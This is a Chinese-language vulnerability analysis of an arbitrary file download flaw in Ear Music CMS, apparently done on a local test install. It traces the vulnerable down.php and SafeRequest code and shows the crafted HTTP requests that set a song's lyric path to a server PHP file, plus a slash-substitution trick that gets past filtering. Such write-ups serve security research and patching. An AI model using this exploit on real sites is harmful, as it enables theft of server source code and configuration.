Ear Music CMS任意文件下载漏洞
用注册的用户上传一首歌,并且用管理员账号通过审核,查看歌曲点击下载lrc歌词,抓包:
GET /earmus/template/default/source/down.php?type=lrc&id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/earmus/index.php/music/1/
Connection: close
跟踪用到的down.php文件:
<?php
include '../../../source/system/db.class.php';
$type = SafeRequest("type","get");
$id = SafeRequest("id","get");
if($type == 'lrc'){
$file = geturl(getfield('music', 'in_lyric', 'in_id', $id), 'lyric');
}else{
$file = geturl(getfield('video', 'in_play', 'in_id', $id));
}
$headers = get_headers($file, 1);
if(array_key_exists('Content-Length', $headers)){
$filesize = $headers['Content-Length'];
}else{
$filesize = strlen(@file_get_contents($file));
}
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($file));
header("Content-Length: ".$filesize);
readfile($file);
?>
PHP readfile() 函数:读取一个文件,并写入到输出缓冲。
函数跟踪:
function getfield($table, $target, $object, $search, $null=0){
global $db;
$sql = "select ".$target." from ".tname($table)." where ".$object."='".$search."'";
if($one = $db->getone($sql)){
$field = $one;
}else{
$field = $null;
}
return $field;
}
注意我标注的地方lyric,就是最终查询的结果,返回值会返回歌词地址
function geturl($file, $type=''){
if(preg_match('/^data\/attachment/', $file)){
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH.$file;
}elseif(empty($file)){
switch($type){
case 'lyric':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/nolyric.lrc";
break;
case 'cover':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/nocover.png";
break;
case 'avatar':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/noavatar.jpg";
break;
case 'photo':
$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/nophoto.png";
break;
default:
$url = NULL;
break;
}
}else{
$url = $file;
}
return $url;
}
也就是说到了最后,返回值依然是歌词的路径地址
然后我们来读一下这个文件:E:\phpstudy\PHPTutorial\WWW\earmus\source\system\function_common.php
在提交页面抓包看一下我们传入的地址有没有经过过滤:
GET /earmus/source/user/music/ajax.php?ac=add&name=%u97F3%u4E50%u540D%u79F0%3A&classid=1&audio=%u97F3%u4E50%u540D%u79F0%3A&specialid=0&singerid=0&tag=%u97F3%u4E50%u540D%u79F0%3A&cover=%u97F3%u4E50%u540D%u79F0%3A&lyric=E%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Cearmus%5Csource%5Csystem%5Cfunction_common.php&text=%u97F3%u4E50%u540D%u79F0%3A HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/earmus/user.php/music/add/
Cookie: in_userid=1; in_username=admin; in_userpassword=7a57a5a743894a0e; PHPSESSID=t56rr3oqmer9ntnprhd41mlqd0
Connection: close
跟踪页面:/earmus/source/user/mu0sic/ajax.php
function SafeRequest($key, $mode, $type=0){
$magic = get_magic_quotes_gpc();
switch($mode){
case 'post':
$value = isset($_POST[$key]) ? $magic ? trim($_POST[$key]) : addslashes(trim($_POST[$key])) : NULL;
break;
case 'get':
$value = isset($_GET[$key]) ? $magic ? trim($_GET[$key]) : addslashes(trim($_GET[$key])) : NULL;
break;
}
return $type ? $value : htmlspecialchars(str_replace('\\'.'\\', '', $value), ENT_QUOTES, set_chars());
}
经过addslashes处理斜杠没了我们可以改用**/**:E:/phpstudy/PHPTutorial/WWW/earmus/source/system/function_common.php
|